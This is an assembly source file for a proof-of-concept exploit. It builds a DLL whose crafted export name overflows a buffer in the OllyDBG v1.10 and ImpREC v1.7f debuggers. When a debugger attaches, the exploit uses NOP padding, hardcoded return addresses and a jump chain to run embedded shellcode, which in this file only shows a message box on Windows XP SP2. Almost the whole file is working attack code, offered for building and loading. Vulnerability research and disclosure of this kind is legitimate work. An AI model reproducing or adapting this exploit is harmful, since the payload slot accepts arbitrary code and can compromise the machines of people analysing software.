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;-------------------------------------------------------------------------; ; OllyDBG v1.10 and ImpREC v1.7f export name buffer overflow vulnerability ; PoC (probably older versions affected too, not tested though.) ; ; Included shellcode shows a messagebox (WinXP SP2) and is configured for ; OllyDBG. See lines 60-105 for more details ;-------------------------------------------------------------------------; ; Usage: ; Load this DLL to your process and try to attach OllyDBG or ImpREC ; to it -> Shellcode executed >:) ; ; Shellcode gets fired also if program is run under OllyDBG. ; ; Bug discovered and PoC coded by: ; ~ Defsanguje, Defsanguje [at] gmail [dot] com [July 7 2008] ;-------------------------------------------------------------------------; ; Coded in FASM ;-------------------------------------------------------------------------;
format PE GUI 4.0 DLL
include 'win32a.inc' entry DllEntryPoint
section '.code' code readable executable
proc DllEntryPoint, hinstDLL,fdwReason,lpvReserved mov eax, TRUE ret endp
;-------------------------------------------------------------------------; ; Modified version from original export-macro. ;-------------------------------------------------------------------------; macro ExportExploit dllname,[label] { common local module,addresses,names,ordinal,count count = 0 forward count = count+1 common dd 0,0,0,RVA module,1 dd count,count,RVA addresses,RVA names,RVA ordinal addresses: forward dd RVA label common names: forward local name dd RVA name common ordinal: count = 0 forward dw count count = count+1 common module db dllname,0 forward ;-------------------------------------------------------------------------; ; Exploit for OllyDBG v1.10 ;-------------------------------------------------------------------------; a: name\ db 3e0h dup (90h) dd 6d553b78h ; ESP to EBP dd 6d55e5ffh ; EBP to EAX dd 0defdefdeh dd 0defdefdeh dd 6d56d25eh ; add eax, 40h dd 0defdefdeh dd 6d52e1efh ; jmp EAX =) db 40h-18h dup(90h) c: push eax mov eax, (ShellCodeStart-c) xor 0defdefdeh xor eax, 0defdefdeh add eax, [esp] jmp eax b: db 0bd0h - (ShellCodeEnd-ShellCodeStart) - (b-a) dup (90h)
ShellCodeStart: db 81h,0ECh,07Dh,0FFh,0FFh,0FFh db 2Bh,0C9h,51h,51h,51h,51h,51h,0BBh db 8Ah,05h,45h,7Eh ; Address of messagebox in winxp sp2 db 0FFh,0D3h ShellCodeEnd: dd 0045F823h ; New EIP
db 300h dup(90h) db 0
;-------------------------------------------------------------------------; ; Exploit for ImpREC v1.7f ;-------------------------------------------------------------------------; ; name\ ; db 0C0Ch - (ShellCodeEnd-ShellCodeStart) dup (90h) ;ShellCodeStart: ; db 81h,0ECh,07Dh,0FFh,0FFh,0FFh ; db 2Bh,0C9h,51h,51h,51h,51h,51h,0BBh ; db 8Ah,05h,45h,7Eh ; Address of messagebox in winxp sp2 ; db 0FFh,0D3h ;ShellCodeEnd: ; dd 12c1b8h ; New EIP ; db 0 ;-------------------------------------------------------------------------; common local x,y,z,str1,str2,v1,v2 x = count shr 1 while x > 0 y = x while y < count z = y while z-x >= 0 load v1 dword from names+z*4 str1=($-RVA $)+v1 load v2 dword from names+(z-x)*4 str2=($-RVA $)+v2 while v1 > 0 load v1 from str1+%-1 load v2 from str2+%-1 if v1 <> v2 break end if end while if v1<v2 load v1 dword from names+z*4 load v2 dword from names+(z-x)*4 store dword v1 at names+(z-x)*4 store dword v2 at names+z*4 load v1 word from ordinal+z*2 load v2 word from ordinal+(z-x)*2 store word v1 at ordinal+(z-x)*2 store word v2 at ordinal+z*2 else break end if z = z-x end while y = y+1 end while x = x shr 1 end while }
section '.edata' export data readable ;-------------------------------------------------------------------------; ; Call the macro ;-------------------------------------------------------------------------; ExportExploit 'exploit.dll',\ $ ;-------------------------------------------------------------------------;
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